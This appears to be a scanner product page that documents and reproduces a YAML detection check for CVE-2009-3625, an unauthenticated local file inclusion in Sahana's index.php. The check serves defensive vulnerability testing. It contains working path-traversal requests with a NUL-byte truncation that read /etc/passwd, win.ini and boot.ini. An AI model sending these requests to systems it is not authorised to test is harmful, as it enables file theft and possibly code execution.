Sahana — 1 vulnerability check

noctis ships 1 vulnerability check for Sahana, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Sahana index.php mod Parameter Local File Inclusion

CVECVE-2009-3625
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, http_request, match, script · highest QoD 75
Feedtests/vulnerabilities/sahana/CVE-2009-3625.yaml

Tests Sahana (the PHP disaster management system, 0.6.2.2 and other releases of that code base without the October 2009 fix) for the unauthenticated local file inclusion in index.php, which includes mod/<mod>/main.inc with the mod parameter unchecked, before any login check (also on a copy whose web setup was never run, through the help action). For each usual Sahana location (/sahana, the web root, /sahana/www) whose home page carries the Sahana markers, the feed requests index.php?stream=text&act=help with mod set to a ../ sequence ending in etc/passwd and a NUL byte (%00) that cuts off the /main.inc suffix and, when no passwd content comes back, windows/win.ini and then boot.ini. The content of the file in the reply confirms the inclusion. The NUL-byte cut only works on PHP before 5.3.4 with magic_quotes_gpc off, so installs on newer PHP are not reported. A control request for an absent random file through the same parameter must not return any of these files and must get the same HTTP status, so a server that serves the same content on every request is not reported. Only world-readable system files are read. The account name (unless root), password field and gecos of the uid-0 line are redacted from the evidence.

How noctis detects it

  1. HTTP(S) request GET {{dir}}/index.php
  2. Checks home_r.body for (?i)(theme/[^"'<>]*/sahana\.css|libsahana\.js|<title>[^<]*Sahana)
  3. HTTP(S) request GET {{dir}}/index.php?stream=text&act=help&mod=/../../../../../../../../../../../etc/pass…
  4. Checks passwd_r.body for (?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^…
  5. Parses / computes the next value with a Rhai script
  6. HTTP(S) request GET {{dir}}/index.php?stream=text&act=help&mod=/../../../../../../../../../../../windows/…
  7. Checks winini_r.body for (?i)(; for 16-bit app support|\[fonts\])
  8. HTTP(S) request GET {{dir}}/index.php?stream=text&act=help&mod=/../../../../../../../../../../../boot.ini…
  9. Checks bootini_r.body for (?i)\[boot loader\]
  10. Parses / computes the next value with a Rhai script
  11. HTTP(S) request GET {{dir}}/index.php?stream=text&act=help&mod=/../{{ctrl_path}}%00
  12. Checks ctrl_r.body for (?mi)((?:^|>)[^:\r\n<>]+:[^:\r\n]*:0:[0-9]+:|; for 16-bit app support…
  13. Checks lin_proof for ^(?:root|<redacted>):<redacted>:0:[0-9]+: → finding QoD 75: Sahana index.php mod Parameter Local File Inclusion (CVE-2009-3625)
  14. Checks win_file for ^(windows/win\.ini|boot\.ini)$ → finding QoD 75: Sahana index.php mod Parameter Local File Inclusion (CVE-2009-3625)

References:

Feed source — tests/vulnerabilities/sahana/CVE-2009-3625.yaml
# Sahana index.php "mod" local file inclusion — CVE-2009-3625
#
# Sahana 0.6.2.2 (Sahana FOSS Disaster Management System, "phase 2" PHP
# code base) dispatches every request through www/index.php, whose front
# controller does (source: sahana-0.6.2.2.tar.gz, shn_main_front_controller)
#     $module_file = $APPROOT.'mod/'.$module.'/main.inc';   // $module = $_REQUEST['mod']
#     if (file_exists($module_file)) { include($module_file); } ...
# before any login or ACL check and with no check on "mod". "../" sequences
# leave the mod/ folder, and a NUL byte (%00) cuts off "/main.inc" on PHP
# < 5.3.4 with magic_quotes_gpc off, so any file the web server user can read
# is included (printed, or run if it holds PHP code). Upstream fixed it in
# sahana-phase2 CVS www/index.php r1.84 (October 2009).
#
# Detection (benign, read-only): GET
#   <sahana dir>/index.php?stream=text&act=help&mod=/../../../../../../../../../../../etc/passwd%00
# (the request from the original report, plus act=help) and match the CONTENT
# of /etc/passwd
# at the start of the reply; when nothing comes back, windows/win.ini, then
# boot.ini. QoD 75 (response analysis). %00 in the query goes out verbatim
# through http_request. stream=text makes the reply carry only the included
# file (the controller then dies silently on an undefined text-stream
# function — status 200, or 500 with output buffering on; both accepted).
#
# Improvements over the source NASL:
#   - The NASL only probes the folder its product detection found; the feed
#     checks the usual Sahana locations (/sahana, the web root, /sahana/www)
#     and gates each on the Sahana home page markers (sahana.css /
#     libsahana.js / "Sahana" title), so the CVE is not attributed to another
#     product with an index.php?mod= flaw.
#   - act=help is added to the request: on an installed Sahana it changes
#     nothing (same include, same silent fatal), and on a copy whose web
#     setup was never run (no conf/sysconf.inc) it reaches the installer's
#     help branch, which includes mod/<mod>/main.inc without even a
#     file_exists() check — the NASL's request only gets the setup wizard
#     there. Both pages print the same Sahana head markers.
#   - The NASL's file match is a bare "root:.*:0:[01]:"-style egrep on the
#     whole reply; the feed requires a full passwd line and accepts a uid-0
#     account not named root.
#   - A control request (same parameter, a path in an absent random directory
#     that still ends with the file that hit) must come back WITHOUT any of
#     these files and with the same HTTP status; a blanket responder or a
#     honeypot keying a fake file on the file name or path suffix is not
#     reported (fail-closed: no control reply → no finding).
#   - The account name (unless "root"), password field and gecos of the uid-0
#     line are redacted before they reach the finding.
#
# CVSS: CVE-2009-3625 v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2009/sahana_36826.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100336, GPL-2.0-only).
uid: 48bd2184-1f51-4135-ba04-22c698c61e26
name: "Sahana index.php mod Parameter Local File Inclusion (CVE-2009-3625)"
description: |
  Tests Sahana (the PHP disaster management system, 0.6.2.2 and other
  releases of that code base without the October 2009 fix) for the unauthenticated local file inclusion in
  index.php, which includes mod/<mod>/main.inc with the mod parameter
  unchecked, before any login check (also on a copy whose web setup was
  never run, through the help action). For each usual Sahana location (/sahana,
  the web root, /sahana/www) whose home page carries the Sahana markers, the
  feed requests index.php?stream=text&act=help with mod set to a ../ sequence ending in
  etc/passwd and a NUL byte (%00) that cuts off the /main.inc suffix and, when
  no passwd content comes back, windows/win.ini and then boot.ini. The content
  of the file in the reply confirms the inclusion. The NUL-byte cut only works
  on PHP before 5.3.4 with magic_quotes_gpc off, so installs on newer PHP are
  not reported. A control request for an absent random file through the same
  parameter must not return any of these files and must get the same HTTP
  status, so a server that serves the same content on every request is not
  reported. Only world-readable system files are read. The account name
  (unless root), password field and gecos of the uid-0 line are redacted from
  the evidence.
cves: [CVE-2009-3625]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [sahana, php, lfi, local-file-inclusion, path-traversal, file-read, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-3625"
  - "https://www.openwall.com/lists/oss-security/2009/10/22/3"
  - "http://www.securityfocus.com/bid/36826"
  # OpenVAS/Greenbone NASL 2009/sahana_36826.nasl (GPL-2.0-only)

steps:
  # ── Loop group: every following step runs once per Sahana location.
  # Each pass resets the values it reads, so nothing is left over.
  - id: init-passwd-r
    action: set_var
    var_name: passwd_r
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["/sahana", "", "/sahana/www"]

  - id: init-lin-proof
    action: set_var
    var_name: lin_proof
    var_value: ""

  - id: init-win-file
    action: set_var
    var_name: win_file
    var_value: ""

  - id: init-winini-r
    action: set_var
    var_name: winini_r
    var_value: {status: 0, body: ""}

  - id: init-bootini-r
    action: set_var
    var_name: bootini_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-path
    action: set_var
    var_name: ctrl_path
    var_value: ""

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  - id: init-is-sahana
    action: set_var
    var_name: is_sahana
    var_value: false

  - id: init-home-r
    action: set_var
    var_name: home_r
    var_value: {status: 0, body: ""}

  # ── Product gate: the Sahana home page markers ───────────────────────────
  - id: home
    action: http_request
    method: GET
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 10
    store_as: home_r

  - id: home-markers
    action: match
    source: home_r.body
    pattern: "(?i)(theme/[^\"'<>]*/sahana\\.css|libsahana\\.js|<title>[^<]*Sahana)"
    condition: "home_r.status >= 200 && home_r.status < 500"
    on_match:
      set_vars:
        is_sahana: true

  # ── Linux: /etc/passwd ───────────────────────────────────────────────────
  - id: read-passwd
    action: http_request
    method: GET
    path: "{{dir}}/index.php?stream=text&act=help&mod=/../../../../../../../../../../../etc/passwd%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "is_sahana"
    store_as: passwd_r

  # No on_match: the raw body must not become evidence.
  # name:pw:0:gid:gecos:home:shell — only the name, gid and home:shell are captured.
  - id: passwd-content
    action: match
    source: passwd_r.body
    pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
    store_as: passwd_m

  - id: passwd-redact
    action: script
    code: |
      if passwd_m.matched && passwd_m.captures.len() > 2 {
        let name = passwd_m.captures[0];
        name.trim();
        if name == "root" {
          "root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
        } else {
          "<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>"
        }
      } else { "" }
    store_as: lin_proof

  # ── Windows: windows/win.ini, then boot.ini (older Windows) — only when the
  # script answered and the Linux read gave nothing ───────────────────
  - id: read-winini
    action: http_request
    method: GET
    path: "{{dir}}/index.php?stream=text&act=help&mod=/../../../../../../../../../../../windows/win.ini%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof == "" && passwd_r.status != 0'
    store_as: winini_r

  - id: winini-content
    action: match
    source: winini_r.body
    pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
    condition: 'lin_proof == "" && passwd_r.status != 0'
    on_match:
      set_vars:
        win_file: "windows/win.ini"

  - id: read-bootini
    action: http_request
    method: GET
    path: "{{dir}}/index.php?stream=text&act=help&mod=/../../../../../../../../../../../boot.ini%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof == "" && win_file == "" && passwd_r.status != 0'
    store_as: bootini_r

  - id: bootini-content
    action: match
    source: bootini_r.body
    pattern: "(?i)\\[boot loader\\]"
    condition: 'lin_proof == "" && win_file == "" && passwd_r.status != 0'
    on_match:
      set_vars:
        win_file: "boot.ini"

  # ── Control: same parameter, absent random file — must NOT carry a file ──
  # The absent path sits in a random missing directory but still ENDS with
  # the file that hit (etc/passwd, windows/win.ini or boot.ini) and the NUL
  # byte, so a honeypot that keys a fake file on that name or path suffix
  # answers it too.
  - id: control-path
    action: script
    code: |
      let f = if lin_proof != "" { "etc/passwd" } else { win_file };
      "../../../../../../../../../../noctis-absent-" + oob_token + "/" + f
    condition: 'lin_proof != "" || win_file != ""'
    store_as: ctrl_path

  - id: control
    action: http_request
    method: GET
    path: "{{dir}}/index.php?stream=text&act=help&mod=/../{{ctrl_path}}%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof != "" || win_file != ""'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.body
    pattern: "(?mi)((?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:|; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
    condition: 'lin_proof != "" || win_file != ""'
    on_match:
      set_vars:
        ctrl_hit: true

  # ── Findings (control answered and stayed clean) ─────────────────────────
  - id: report-passwd
    action: match
    source: lin_proof
    pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
    condition: "is_sahana && ctrl_r.status != 0 && ctrl_r.status == passwd_r.status && ctrl_hit == false"
    on_match:
      finding:
        title: "Sahana index.php mod Parameter Local File Inclusion (CVE-2009-3625)"
        description: "An unauthenticated request to index.php?stream=text&act=help with the mod parameter set to a ../ sequence ending in etc/passwd and a NUL byte returned the content of /etc/passwd, while the same request for an absent file did not. The same flaw includes any other file the web server user can read, and runs any PHP code found in an included file."
        remediation: "Upgrade Sahana to a release that carries the October 2009 fix of index.php (sahana-phase2 CVS revision 1.84 or later) or migrate to a maintained Sahana edition, and run PHP 5.3.4 or later, which no longer cuts paths at a NUL byte. Until then, block requests whose mod parameter holds \"..\" or a NUL byte (%00)."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{dir}}/index.php?stream=text&act=help&mod=/../../../../../../../../../../../etc/passwd%00 returned /etc/passwd; control for an absent file returned no file content ({{lin_proof}})"
      stop: true

  - id: report-windows
    action: match
    source: win_file
    pattern: "^(windows/win\\.ini|boot\\.ini)$"
    condition: "is_sahana && ctrl_r.status != 0 && ctrl_r.status == passwd_r.status && ctrl_hit == false"
    on_match:
      finding:
        title: "Sahana index.php mod Parameter Local File Inclusion (CVE-2009-3625)"
        description: "An unauthenticated request to index.php?stream=text&act=help with the mod parameter set to a ../ sequence ending in a Windows system file and a NUL byte returned that file's content, while the same request for an absent file did not. The same flaw includes any other file the web server user can read, and runs any PHP code found in an included file."
        remediation: "Upgrade Sahana to a release that carries the October 2009 fix of index.php (sahana-phase2 CVS revision 1.84 or later) or migrate to a maintained Sahana edition, and run PHP 5.3.4 or later, which no longer cuts paths at a NUL byte. Until then, block requests whose mod parameter holds \"..\" or a NUL byte (%00)."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{dir}}/index.php?stream=text&act=help&mod=/../../../../../../../../../../../{{win_file}}%00 returned the content of {{win_file}}; control for an absent file returned no file content"
      stop: true

View these feeds on GitHub